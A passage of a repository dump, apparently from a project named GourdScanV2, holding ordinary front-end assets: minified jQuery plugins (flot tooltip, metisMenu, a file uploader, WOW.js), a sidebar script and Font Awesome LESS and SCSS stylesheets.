0&&(t=t.replace(e,o.series.label)),this.isTimeMode("xaxis",o)&&this.isXDateFormat(o)&&(t=t.replace(s,this.timestampToDate(o.series.data[o.dataIndex][0],this.tooltipOptions.xDateFormat))),this.isTimeMode("yaxis",o)&&this.isYDateFormat(o)&&(t=t.replace(n,this.timestampToDate(o.series.data[o.dataIndex][1],this.tooltipOptions.yDateFormat))),"number"==typeof o.series.data[o.dataIndex][0]&&(t=this.adjustValPrecision(s,t,o.series.data[o.dataIndex][0])),"number"==typeof o.series.data[o.dataIndex][1]&&(t=this.adjustValPrecision(n,t,o.series.data[o.dataIndex][1])),o.series.xaxis.tickFormatter!==void 0&&(t=t.replace(s,o.series.xaxis.tickFormatter(o.series.data[o.dataIndex][0],o.series.xaxis))),o.series.yaxis.tickFormatter!==void 0&&(t=t.replace(n,o.series.yaxis.tickFormatter(o.series.data[o.dataIndex][1],o.series.yaxis))),t},i.prototype.isTimeMode=function(t,o){return o.series[t].options.mode!==void 0&&"time"===o.series[t].options.mode},i.prototype.isXDateFormat=function(){return this.tooltipOptions.xDateFormat!==void 0&&null!==this.tooltipOptions.xDateFormat},i.prototype.isYDateFormat=function(){return this.tooltipOptions.yDateFormat!==void 0&&null!==this.tooltipOptions.yDateFormat},i.prototype.timestampToDate=function(o,i){var e=new Date(o);return t.plot.formatDate(e,i)},i.prototype.adjustValPrecision=function(t,o,i){var e,s=o.match(t);return null!==s&&""!==RegExp.$1&&(e=RegExp.$1,i=i.toFixed(e),o=o.replace(t,i)),o};var e=function(t){new i(t)};t.plot.plugins.push({init:e,options:o,name:"tooltip",version:"0.6.1"})})(jQuery); -------------------------------------------------------------------------------- /web/static/js/plugins/metisMenu/jquery.metisMenu.js: -------------------------------------------------------------------------------- 1 | ;(function ($, window, document, undefined) { 2 | 3 | var pluginName = "metisMenu", 4 | defaults = { 5 | toggle: true 6 | }; 7 | 8 | function Plugin(element, options) { 9 | this.element = element; 10 | this.settings = $.extend({}, defaults, options); 11 | this._defaults = defaults; 12 | this._name = pluginName; 13 | this.init(); 14 | } 15 | 16 | Plugin.prototype = { 17 | init: function () { 18 | 19 | var $this = $(this.element), 20 | $toggle = this.settings.toggle; 21 | 22 | $this.find('li.active').has('ul').children('ul').addClass('collapse in'); 23 | $this.find('li').not('.active').has('ul').children('ul').addClass('collapse'); 24 | 25 | $this.find('li').has('ul').children('a').on('click', function (e) { 26 | e.preventDefault(); 27 | 28 | $(this).parent('li').toggleClass('active').children('ul').collapse('toggle'); 29 | 30 | if ($toggle) { 31 | $(this).parent('li').siblings().removeClass('active').children('ul.in').collapse('hide'); 32 | } 33 | }); 34 | } 35 | }; 36 | 37 | $.fn[ pluginName ] = function (options) { 38 | return this.each(function () { 39 | if (!$.data(this, "plugin_" + pluginName)) { 40 | $.data(this, "plugin_" + pluginName, new Plugin(this, options)); 41 | } 42 | }); 43 | }; 44 | 45 | })(jQuery, window, document); 46 | -------------------------------------------------------------------------------- /web/static/js/sb-admin.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | 3 | $('#side-menu').metisMenu(); 4 | 5 | }); 6 | 7 | //Loads the correct sidebar on window load, 8 | //collapses the sidebar on window resize. 9 | $(function() { 10 | $(window).bind("load resize", function() { 11 | width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width; 12 | if (width < 768) { 13 | $('div.sidebar-collapse').addClass('collapse') 14 | } else { 15 | $('div.sidebar-collapse').removeClass('collapse') 16 | } 17 | }) 18 | }) 19 | -------------------------------------------------------------------------------- /web/static/js/uploader.min.js: -------------------------------------------------------------------------------- 1 | !function(a,b){"function"==typeof define&&define.amd?define("simple-uploader",["jquery","simple-module"],function(c,d){return a.uploader=b(c,d)}):"object"==typeof exports?module.exports=b(require("jquery"),require("simplemodule")):(a.simple=a.simple||{},a.simple.uploader=b(jQuery,SimpleModule))}(this,function(a,b){var c,d,e=function(a,b){function c(){this.constructor=a}for(var d in b)f.call(b,d)&&(a[d]=b[d]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},f={}.hasOwnProperty;return c=function(b){function c(){return c.__super__.constructor.apply(this,arguments)}return e(c,b),c.count=0,c.prototype.opts={url:"",params:null,fileKey:"upload_file",connectionCount:3},c.prototype._init=function(){return this.files=[],this.queue=[],this.id=++c.count,this.on("uploadcomplete",function(b){return function(c,d){return b.files.splice(a.inArray(d,b.files),1),b.queue.length>0&&b.files.lengthe;e++)d=b[e],this.upload(d,c);else a(b).is("input:file")?(f=a(b).attr("name"),f&&(c.fileKey=f),this.upload(a.makeArray(a(b)[0].files),c)):b.id&&b.obj||(b=this.getFile(b));if(b&&b.obj){if(a.extend(b,c),this.files.length>=this.opts.connectionCount)return void this.queue.push(b);if(this.triggerHandler("beforeupload",[b])!==!1)return this.files.push(b),this._xhrUpload(b),this.uploading=!0}}},c.prototype.getFile=function(a){var b,c,d;return a instanceof window.File||a instanceof window.Blob?(b=null!=(c=a.fileName)?c:a.name,{id:this.generateId(),url:this.opts.url,params:this.opts.params,fileKey:this.opts.fileKey,name:b,size:null!=(d=a.fileSize)?d:a.size,ext:b?b.split(".").pop().toLowerCase():"",obj:a}):null},c.prototype._xhrUpload=function(b){var c,d,e,f;if(c=new FormData,c.append(b.fileKey,b.obj),c.append("original_filename",b.name),b.params){e=b.params;for(d in e)f=e[d],c.append(d,f)}return b.xhr=a.ajax({url:b.url,data:c,processData:!1,contentType:!1,type:"POST",headers:{"X-File-Name":encodeURIComponent(b.name)},xhr:function(){var b;return b=a.ajaxSettings.xhr(),b&&(b.upload.onprogress=function(a){return function(b){return a.progress(b)}}(this)),b},progress:function(a){return function(c){return c.lengthComputable?a.trigger("uploadprogress",[b,c.loaded,c.total]):void 0}}(this),error:function(a){return function(c,d,e){return a.trigger("uploaderror",[b,c,d])}}(this),success:function(c){return function(d){return c.trigger("uploadprogress",[b,b.size,b.size]),c.trigger("uploadsuccess",[b,d]),a(document).trigger("uploadsuccess",[b,d,c])}}(this),complete:function(a){return function(c,d){return a.trigger("uploadcomplete",[b,c.responseText])}}(this)})},c.prototype.cancel=function(a){var b,c,d,e;if(!a.id)for(e=this.files,c=0,d=e.length;d>c;c++)if(b=e[c],b.id===1*a){a=b;break}return this.trigger("uploadcancel",[a]),a.xhr&&a.xhr.abort(),a.xhr=null},c.prototype.readImageFile=function(b,c){var d,e;if(a.isFunction(c))return e=new Image,e.onload=function(){return c(e)},e.onerror=function(){return c()},window.FileReader&&FileReader.prototype.readAsDataURL&&/^image/.test(b.type)?(d=new FileReader,d.onload=function(a){return e.src=a.target.result},d.readAsDataURL(b)):c()},c.prototype.destroy=function(){var b,c,d,e;for(this.queue.length=0,e=this.files,c=0,d=e.length;d>c;c++)b=e[c],this.cancel(b);return a(window).off(".uploader-"+this.id),a(document).off(".uploader-"+this.id)},c.i18n={"zh-CN":{leaveConfirm:"正在上传文件,如果离开上传会自动取消"}},c.locale="zh-CN",c}(b),d=function(a){return new c(a)}}); -------------------------------------------------------------------------------- /web/static/js/wow.min.js: -------------------------------------------------------------------------------- 1 | /*! WOW - v0.1.9 - 2014-05-10 2 | * Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c=function(a,b){return function(){return a.apply(b,arguments)}};a=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in a)d=a[c],null!=d&&(b[c]=d);return b},a.prototype.isMobile=function(a){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)},a}(),b=this.WeakMap||(b=function(){function a(){this.keys=[],this.values=[]}return a.prototype.get=function(a){var b,c,d,e,f;for(f=this.keys,b=d=0,e=f.length;e>d;b=++d)if(c=f[b],c===a)return this.values[b]},a.prototype.set=function(a,b){var c,d,e,f,g;for(g=this.keys,c=e=0,f=g.length;f>e;c=++e)if(d=g[c],d===a)return void(this.values[c]=b);return this.keys.push(a),this.values.push(b)},a}()),this.WOW=function(){function d(a){null==a&&(a={}),this.scrollCallback=c(this.scrollCallback,this),this.scrollHandler=c(this.scrollHandler,this),this.start=c(this.start,this),this.scrolled=!0,this.config=this.util().extend(a,this.defaults),this.animationNameCache=new b}return d.prototype.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0},d.prototype.init=function(){var a;return this.element=window.document.documentElement,"interactive"===(a=document.readyState)||"complete"===a?this.start():document.addEventListener("DOMContentLoaded",this.start)},d.prototype.start=function(){var a,b,c,d;if(this.boxes=this.element.getElementsByClassName(this.config.boxClass),this.boxes.length){if(this.disabled())return this.resetStyle();for(d=this.boxes,b=0,c=d.length;c>b;b++)a=d[b],this.applyStyle(a,!0);return window.addEventListener("scroll",this.scrollHandler,!1),window.addEventListener("resize",this.scrollHandler,!1),this.interval=setInterval(this.scrollCallback,50)}},d.prototype.stop=function(){return window.removeEventListener("scroll",this.scrollHandler,!1),window.removeEventListener("resize",this.scrollHandler,!1),null!=this.interval?clearInterval(this.interval):void 0},d.prototype.show=function(a){return this.applyStyle(a),a.className=""+a.className+" "+this.config.animateClass},d.prototype.applyStyle=function(a,b){var c,d,e;return d=a.getAttribute("data-wow-duration"),c=a.getAttribute("data-wow-delay"),e=a.getAttribute("data-wow-iteration"),this.animate(function(f){return function(){return f.customStyle(a,b,d,c,e)}}(this))},d.prototype.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),d.prototype.resetStyle=function(){var a,b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],e.push(a.setAttribute("style","visibility: visible;"));return e},d.prototype.customStyle=function(a,b,c,d,e){return b&&this.cacheAnimationName(a),a.style.visibility=b?"hidden":"visible",c&&this.vendorSet(a.style,{animationDuration:c}),d&&this.vendorSet(a.style,{animationDelay:d}),e&&this.vendorSet(a.style,{animationIterationCount:e}),this.vendorSet(a.style,{animationName:b?"none":this.cachedAnimationName(a)}),a},d.prototype.vendors=["moz","webkit"],d.prototype.vendorSet=function(a,b){var c,d,e,f;f=[];for(c in b)d=b[c],a[""+c]=d,f.push(function(){var b,f,g,h;for(g=this.vendors,h=[],b=0,f=g.length;f>b;b++)e=g[b],h.push(a[""+e+c.charAt(0).toUpperCase()+c.substr(1)]=d);return h}.call(this));return f},d.prototype.vendorCSS=function(a,b){var c,d,e,f,g,h;for(d=window.getComputedStyle(a),c=d.getPropertyCSSValue(b),h=this.vendors,f=0,g=h.length;g>f;f++)e=h[f],c=c||d.getPropertyCSSValue("-"+e+"-"+b);return c},d.prototype.animationName=function(a){var b;try{b=this.vendorCSS(a,"animation-name").cssText}catch(c){b=window.getComputedStyle(a).getPropertyValue("animation-name")}return"none"===b?"":b},d.prototype.cacheAnimationName=function(a){return this.animationNameCache.set(a,this.animationName(a))},d.prototype.cachedAnimationName=function(a){return this.animationNameCache.get(a)},d.prototype.scrollHandler=function(){return this.scrolled=!0},d.prototype.scrollCallback=function(){var a;return this.scrolled&&(this.scrolled=!1,this.boxes=function(){var b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],a&&(this.isVisible(a)?this.show(a):e.push(a));return e}.call(this),!this.boxes.length)?this.stop():void 0},d.prototype.offsetTop=function(a){for(var b;void 0===a.offsetTop;)a=a.parentNode;for(b=a.offsetTop;a=a.offsetParent;)b+=a.offsetTop;return b},d.prototype.isVisible=function(a){var b,c,d,e,f;return c=a.getAttribute("data-wow-offset")||this.config.offset,f=window.pageYOffset,e=f+this.element.clientHeight-c,d=this.offsetTop(a),b=d+a.clientHeight,e>=d&&b>=f},d.prototype.util=function(){return this._util||(this._util=new a)},d.prototype.disabled=function(){return!this.config.mobile&&this.util().isMobile(navigator.userAgent)},d}()}).call(this); -------------------------------------------------------------------------------- /web/static/less/icons.less: -------------------------------------------------------------------------------- 1 | /* 2 | Template Name: Adminto Dashboard 3 | Author: CoderThemes 4 | Email: coderthemes@gmail.com 5 | File: Icons 6 | */ 7 | 8 | @import "icons/font-awesome/less/font-awesome"; 9 | @import "icons/themify-icons/themify-icons"; 10 | @import "icons/material-design-iconic-font/material-design-iconic-font"; 11 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/HELP-US-OUT.txt: -------------------------------------------------------------------------------- 1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project, 2 | Fonticons (https://fonticons.com). It makes it easy to put the perfect icons on your website. Choose from our awesome, 3 | comprehensive icon sets or copy and paste your own. 4 | 5 | Please. Check it out. 6 | 7 | -Dave Gandy 8 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/css/mixins.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/css/mixins.css -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/css/variables.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/css/variables.css -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/animated.less: -------------------------------------------------------------------------------- 1 | // Animated Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .@{fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix} { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .@{fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables.less"; 7 | @import "mixins.less"; 8 | @import "path.less"; 9 | @import "core.less"; 10 | @import "larger.less"; 11 | @import "fixed-width.less"; 12 | @import "list.less"; 13 | @import "bordered-pulled.less"; 14 | @import "animated.less"; 15 | @import "rotated-flipped.less"; 16 | @import "stacked.less"; 17 | @import "icons.less"; 18 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: (-@fa-li-width + (4em / 14)); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | .fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | .fa-icon-rotate(@degrees, @rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation); 16 | -webkit-transform: rotate(@degrees); 17 | -ms-transform: rotate(@degrees); 18 | transform: rotate(@degrees); 19 | } 20 | 21 | .fa-icon-flip(@horiz, @vert, @rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1); 23 | -webkit-transform: scale(@horiz, @vert); 24 | -ms-transform: scale(@horiz, @vert); 25 | transform: scale(@horiz, @vert); 26 | } 27 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'), 9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .@{fa-css-prefix}-rotate-90, 15 | :root .@{fa-css-prefix}-rotate-180, 16 | :root .@{fa-css-prefix}-rotate-270, 17 | :root .@{fa-css-prefix}-flip-horizontal, 18 | :root .@{fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_animated.scss: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | -webkit-animation: fa-spin 2s infinite linear; 6 | animation: fa-spin 2s infinite linear; 7 | } 8 | 9 | .#{$fa-css-prefix}-pulse { 10 | -webkit-animation: fa-spin 1s infinite steps(8); 11 | animation: fa-spin 1s infinite steps(8); 12 | } 13 | 14 | @-webkit-keyframes fa-spin { 15 | 0% { 16 | -webkit-transform: rotate(0deg); 17 | transform: rotate(0deg); 18 | } 19 | 100% { 20 | -webkit-transform: rotate(359deg); 21 | transform: rotate(359deg); 22 | } 23 | } 24 | 25 | @keyframes fa-spin { 26 | 0% { 27 | -webkit-transform: rotate(0deg); 28 | transform: rotate(0deg); 29 | } 30 | 100% { 31 | -webkit-transform: rotate(359deg); 32 | transform: rotate(359deg); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .#{$fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | @mixin fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | @mixin fa-icon-rotate($degrees, $rotation) { 15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 16 | -webkit-transform: rotate($degrees); 17 | -ms-transform: rotate($degrees); 18 | transform: rotate($degrees); 19 | } 20 | 21 | @mixin fa-icon-flip($horiz, $vert, $rotation) { 22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); 23 | -webkit-transform: scale($horiz, $vert); 24 | -ms-transform: scale($horiz, $vert); 25 | transform: scale($horiz, $vert); 26 | } 27 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'), 9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .#{$fa-css-prefix}-rotate-90, 15 | :root .#{$fa-css-prefix}-rotate-180, 16 | :root .#{$fa-css-prefix}-rotate-270, 17 | :root .#{$fa-css-prefix}-flip-horizontal, 18 | :root .#{$fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // 